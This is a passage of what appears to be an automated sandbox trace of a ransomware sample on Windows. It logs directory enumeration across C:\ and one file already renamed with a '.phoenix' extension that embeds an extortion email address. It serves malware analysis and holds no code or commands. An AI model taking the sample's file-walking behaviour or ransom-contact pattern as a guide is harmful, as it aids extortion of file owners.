	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1
	[0214.498] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0
	[0214.498] FindClose (in: hFindFile=0x645f38 | out: hFindFile=0x645f38) returned 1
	[0214.498] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x34d4068 | out: hHeap=0xd20000) returned 1
	[0214.499] FindNextFileW (in: hFindFile=0x645e78, lpFindFileData=0x3a9f50c | out: lpFindFileData=0x3a9f50c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0214.499] FindNextFileW (in: hFindFile=0x645e78, lpFindFileData=0x3a9f50c | out: lpFindFileData=0x3a9f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xb8ee052c, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1
	[0214.499] FindNextFileW (in: hFindFile=0x645e78, lpFindFileData=0x3a9f50c | out: lpFindFileData=0x3a9f50c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0214.499] FindNextFileW (in: hFindFile=0x645e78, lpFindFileData=0x3a9f50c | out: lpFindFileData=0x3a9f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0214.500] FindNextFileW (in: hFindFile=0x645e78, lpFindFileData=0x3a9f50c | out: lpFindFileData=0x3a9f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0214.500] FindNextFileW (in: hFindFile=0x645e78, lpFindFileData=0x3a9f50c | out: lpFindFileData=0x3a9f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1
	[0214.500] FindNextFileW (in: hFindFile=0x645e78, lpFindFileData=0x3a9f50c | out: lpFindFileData=0x3a9f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0
	[0214.500] FindClose (in: hFindFile=0x645e78 | out: hFindFile=0x645e78) returned 1
	[0214.500] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x34c4060 | out: hHeap=0xd20000) returned 1
	[0214.502] SetEvent (hEvent=0x4f0) returned 1
	[0214.502] SetEvent (hEvent=0x3a0) returned 1
	[0214.502] SetEvent (hEvent=0x4f4) returned 1
	[0214.502] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0
	[0214.502] SetEvent (hEvent=0x4f0) returned 1
	[0214.502] SetEvent (hEvent=0x3a0) returned 1
	[0214.502] SetEvent (hEvent=0x4f4) returned 1
	[0214.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0x3a9f78c*=0x4f8, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0214.653] CloseHandle (hObject=0x4fc) returned 1
	[0214.653] CloseHandle (hObject=0x4f8) returned 1
	[0214.653] CloseHandle (hObject=0x3a0) returned 1
	[0214.653] CloseHandle (hObject=0x4f0) returned 1
	[0214.653] CloseHandle (hObject=0x4f4) returned 1
	[0214.653] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x34b4058 | out: hHeap=0xd20000) returned 1
	[0214.653] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28df8 | out: hHeap=0xd20000) returned 1
	[0214.653] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd286a8 | out: hHeap=0xd20000) returned 1
	[0214.653] SetEvent (hEvent=0x4d8) returned 1
	[0214.654] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28710 | out: hHeap=0xd20000) returned 1
	[0214.654] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd287e8 | out: hHeap=0xd20000) returned 1
	[0214.655] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd293c0 | out: hHeap=0xd20000) returned 1

Thread:
	id = 79
	os_tid = 0xd38

	[0212.448] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x38) returned 0xd21470
	[0212.448] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x18) returned 0xd214b0
	[0212.448] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2dc
	[0212.448] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x388
	[0212.449] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x398
	[0212.449] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34e4070
	[0212.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1373957, lpParameter=0x3bdf988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0212.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1373957, lpParameter=0x3bdf988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0212.450] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34f4078
	[0212.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x3bdf700 | out: lpFindFileData=0x3bdf700*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3bdf928, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x645ef8
	[0212.458] GetLastError () returned 0x0
	[0212.458] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x214) returned 0xd21210
	[0212.459] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0212.459] GetCurrentThreadId () returned 0xd38
	[0212.459] SetLastError (dwErrCode=0x0) 
	[0212.459] GetLastError () returned 0x0
	[0212.459] SetLastError (dwErrCode=0x0) 
	[0212.459] GetLastError () returned 0x0
	[0212.459] SetLastError (dwErrCode=0x0) 
	[0212.459] GetLastError () returned 0x0
	[0212.459] SetLastError (dwErrCode=0x0) 
	[0212.459] GetLastError () returned 0x0
	[0212.460] SetLastError (dwErrCode=0x0) 
	[0212.460] GetLastError () returned 0x0
	[0212.460] SetLastError (dwErrCode=0x0) 
	[0212.460] GetLastError () returned 0x0
	[0212.460] SetLastError (dwErrCode=0x0) 
	[0212.460] GetLastError () returned 0x0
	[0212.460] SetLastError (dwErrCode=0x0) 
	[0212.460] GetLastError () returned 0x0
	[0212.460] SetLastError (dwErrCode=0x0) 
	[0212.460] GetLastError () returned 0x0
	[0212.460] SetLastError (dwErrCode=0x0) 
	[0212.460] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3514088
	[0212.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x645f38
	[0212.462] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1
	[0212.463] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1
	[0212.463] GetLastError () returned 0x0
	[0212.463] SetLastError (dwErrCode=0x0) 
	[0212.463] GetLastError () returned 0x0
	[0212.463] SetLastError (dwErrCode=0x0) 
	[0212.463] GetLastError () returned 0x0
	[0212.463] SetLastError (dwErrCode=0x0) 
	[0212.463] GetLastError () returned 0x0
	[0212.463] SetLastError (dwErrCode=0x0) 
	[0212.463] GetLastError () returned 0x0
	[0212.463] SetLastError (dwErrCode=0x0) 
	[0212.463] GetLastError () returned 0x0
	[0212.463] SetLastError (dwErrCode=0x0) 
	[0212.463] GetLastError () returned 0x0
	[0212.463] SetLastError (dwErrCode=0x0) 
	[0212.463] GetLastError () returned 0x0
	[0212.464] SetLastError (dwErrCode=0x0) 
	[0212.464] GetLastError () returned 0x0
	[0212.464] SetLastError (dwErrCode=0x0) 
	[0212.464] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3524090
	[0212.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x17d, cFileName=".", cAlternateFileName="")) returned 0x6459b8
	[0212.465] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x17d, cFileName="..", cAlternateFileName="")) returned 1
	[0212.465] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca95630, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ca95630, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cb07eb2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x17d, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DOWNLE~1.PHO")) returned 1
	[0212.465] GetLastError () returned 0x0
	[0212.465] SetLastError (dwErrCode=0x0) 
	[0212.465] GetLastError () returned 0x0
	[0212.465] SetLastError (dwErrCode=0x0) 
	[0212.465] GetLastError () returned 0x0
	[0212.465] SetLastError (dwErrCode=0x0) 
	[0212.465] GetLastError () returned 0x0
	[0212.465] SetLastError (dwErrCode=0x0) 
	[0212.465] GetLastError () returned 0x0
	[0212.465] SetLastError (dwErrCode=0x0) 
	[0212.465] GetLastError () returned 0x0
	[0212.465] SetLastError (dwErrCode=0x0) 
	[0212.465] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.466] SetLastError (dwErrCode=0x0) 
	[0212.466] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.467] GetLastError () returned 0x0
	[0212.467] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.468] GetLastError () returned 0x0
	[0212.468] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.469] GetLastError () returned 0x0
	[0212.469] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.470] SetLastError (dwErrCode=0x0) 
	[0212.470] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.471] SetLastError (dwErrCode=0x0) 
	[0212.471] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.472] SetLastError (dwErrCode=0x0) 
	[0212.472] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.473] GetLastError () returned 0x0
	[0212.473] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.474] SetLastError (dwErrCode=0x0) 
	[0212.474] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.475] SetLastError (dwErrCode=0x0) 
	[0212.475] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.476] SetLastError (dwErrCode=0x0) 
	[0212.476] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
	[0212.477] GetLastError () returned 0x0
	[0212.477] SetLastError (dwErrCode=0x0) 
